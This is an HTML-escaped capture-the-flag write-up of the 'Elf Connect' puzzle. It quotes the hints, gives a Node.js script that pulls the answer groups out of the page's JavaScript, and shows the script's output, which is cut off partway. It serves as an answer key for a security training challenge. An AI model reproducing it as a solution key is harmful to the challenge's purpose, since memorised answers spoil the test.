&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Elf-Connect-Easy&#34;&gt;&lt;a href=&#34;#Elf-Connect-Easy&#34; class=&#34;headerlink&#34; title=&#34;Elf Connect Easy&#34;&gt;&lt;/a&gt;Elf Connect Easy&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Angel Candysalt&lt;/em&gt;&lt;br&gt;I love brain games! This one is like the New York Times Connections game. Your goal here is to find groups of items that share something in common. Think of each group as having a hidden connection or theme-four items belong together, and there are multiple groups to find! See if you can spot patterns or common threads to make connections. Group all the items correctly to win!&lt;/p&gt;
&lt;h3 id=&#34;Elf-Connect-Hard&#34;&gt;&lt;a href=&#34;#Elf-Connect-Hard&#34; class=&#34;headerlink&#34; title=&#34;Elf Connect Hard&#34;&gt;&lt;/a&gt;Elf Connect Hard&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Angel Candysalt&lt;/em&gt;&lt;br&gt;WOW! A high score of 50,000 points! That’s way beyond the limit! With only four rounds and a max of 400 points per round, the top possible score should be 1,600 points. So, how did someone get to 50,000? Something unusual must be happening!&lt;/p&gt;
&lt;p&gt;If you’re curious, you might want to check under the hood. Try opening the browser’s developer tools console and looking around-there might even be a variable named ‘score’ that could give you some insights. Sometimes, games hold secrets for those who dig a little deeper. Give it a shot and see what you can discover!&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;p&gt;The JS of the page itself reveals the solutions, so I wrote a quick &lt;code&gt;nodejs&lt;/code&gt; script to print them out and easily obtain &lt;code&gt;silver&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; wordSets = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;: [&lt;span class=&#34;string&#34;&gt;&amp;quot;Tinsel&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Sleigh&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Belafonte&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Bag&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Comet&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Garland&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Jingle Bells&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Mittens&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Vixen&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Gifts&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Star&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Crosby&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;White Christmas&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Prancer&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Lights&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Blitzen&amp;quot;&lt;/span&gt;],&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;: [&lt;span class=&#34;string&#34;&gt;&amp;quot;Nmap&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;burp&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Frida&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;OWASP Zap&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Metasploit&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;netcat&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Cycript&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Nikto&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Cobalt Strike&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;wfuzz&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Wireshark&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;AppMon&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;apktool&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;HAVOC&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Nessus&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Empire&amp;quot;&lt;/span&gt;],&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;: [&lt;span class=&#34;string&#34;&gt;&amp;quot;AES&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;WEP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Symmetric&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;WPA2&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Caesar&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;RSA&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Asymmetric&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;TKIP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;One-time Pad&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;LEAP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Blowfish&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;hash&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;hybrid&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Ottendorf&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;3DES&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Scytale&amp;quot;&lt;/span&gt;],&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;: [&lt;span class=&#34;string&#34;&gt;&amp;quot;IGMP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;TLS&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;Ethernet&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SSL&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;HTTP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;IPX&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;PPP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;IPSec&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;FTP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SSH&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;IP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;IEEE 802.11&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ARP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;SMTP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;ICMP&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;DNS&amp;quot;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;let&lt;/span&gt; correctSets = [[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;10&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;14&lt;/span&gt;], [&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;7&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;], [&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;6&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;11&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;12&lt;/span&gt;], [&lt;span class=&#34;number&#34;&gt;4&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;8&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;13&lt;/span&gt;, &lt;span class=&#34;number&#34;&gt;15&lt;/span&gt;]];&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; [key, value] &lt;span class=&#34;keyword&#34;&gt;of&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Object&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;entries&lt;/span&gt;(wordSets)) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;variable language_&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;log&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;`####################`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;variable language_&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;log&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;`wordSet       --&amp;gt; &lt;span class=&#34;subst&#34;&gt;$&amp;#123;value&amp;#125;&lt;/span&gt;`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; i = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;; i &amp;lt; correctSets.&lt;span class=&#34;property&#34;&gt;length&lt;/span&gt;; i ++) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        correctSet = correctSets[i]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;let&lt;/span&gt; answer = []&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;keyword&#34;&gt;var&lt;/span&gt; j = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;; j &amp;lt; correctSet.&lt;span class=&#34;property&#34;&gt;length&lt;/span&gt;; j ++) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            answer.&lt;span class=&#34;title function_&#34;&gt;push&lt;/span&gt;(value[correctSet[j]])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable language_&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;log&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;`correctSet #&lt;span class=&#34;subst&#34;&gt;$&amp;#123;i&amp;#125;&lt;/span&gt; --&amp;gt; &lt;span class=&#34;subst&#34;&gt;$&amp;#123;answer&amp;#125;&lt;/span&gt;`&lt;/span&gt;)   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;variable language_&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;log&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;`####################`&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;wordSet       --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Tinsel&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Sleigh&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Belafonte&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Bag&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Comet&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Garland&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Jingle&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Bells&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Mittens&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Vixen&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Gifts&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Star&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Crosby&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;White&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Prancer&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Lights&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Blitzen&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Tinsel&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Garland&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Star&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Lights&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Sleigh&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Bag&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Mittens&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Gifts&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Belafonte&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Jingle&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Bells&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Crosby&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;White&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Comet&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Vixen&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Prancer&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Blitzen&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;wordSet       --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Nmap&lt;/span&gt;,burp,&lt;span class=&#34;title class_&#34;&gt;Frida&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;OWASP&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Zap&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Metasploit&lt;/span&gt;,netcat,&lt;span class=&#34;title class_&#34;&gt;Cycript&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Nikto&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Cobalt&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Strike&lt;/span&gt;,wfuzz,&lt;span class=&#34;title class_&#34;&gt;Wireshark&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;AppMon&lt;/span&gt;,apktool,&lt;span class=&#34;variable constant_&#34;&gt;HAVOC&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Nessus&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Empire&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Nmap&lt;/span&gt;,netcat,&lt;span class=&#34;title class_&#34;&gt;Wireshark&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Nessus&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt; --&amp;gt; burp,&lt;span class=&#34;variable constant_&#34;&gt;OWASP&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Zap&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Nikto&lt;/span&gt;,wfuzz&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Frida&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Cycript&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;AppMon&lt;/span&gt;,apktool&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Metasploit&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Cobalt&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Strike&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;HAVOC&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Empire&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;wordSet       --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;AES&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;WEP&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Symmetric&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;WPA2&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Caesar&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;RSA&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Asymmetric&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;TKIP&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;One&lt;/span&gt;-time &lt;span class=&#34;title class_&#34;&gt;Pad&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;LEAP&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Blowfish&lt;/span&gt;,hash,hybrid,&lt;span class=&#34;title class_&#34;&gt;Ottendorf&lt;/span&gt;,3DES,&lt;span class=&#34;title class_&#34;&gt;Scytale&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt; --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;AES&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;RSA&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Blowfish&lt;/span&gt;,3DES&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt; --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;WEP&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;WPA2&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;TKIP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;LEAP&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Symmetric&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Asymmetric&lt;/span&gt;,hash,hybrid&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt; --&amp;gt; &lt;span class=&#34;title class_&#34;&gt;Caesar&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;One&lt;/span&gt;-time &lt;span class=&#34;title class_&#34;&gt;Pad&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Ottendorf&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Scytale&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;####################&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;wordSet       --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;IGMP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;TLS&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;Ethernet&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SSL&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;HTTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IPX&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;PPP&lt;/span&gt;,&lt;span class=&#34;title class_&#34;&gt;IPSec&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;FTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SSH&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IEEE&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;802.11&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;ARP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;SMTP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;ICMP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;DNS&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;correctSet #&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt; --&amp;gt; &lt;span class=&#34;variable constant_&#34;&gt;IGMP&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IPX&lt;/span&gt;,&lt;span class=&#34;variable constant_&#34;&gt;IP&lt;/span&gt;,&lt;span 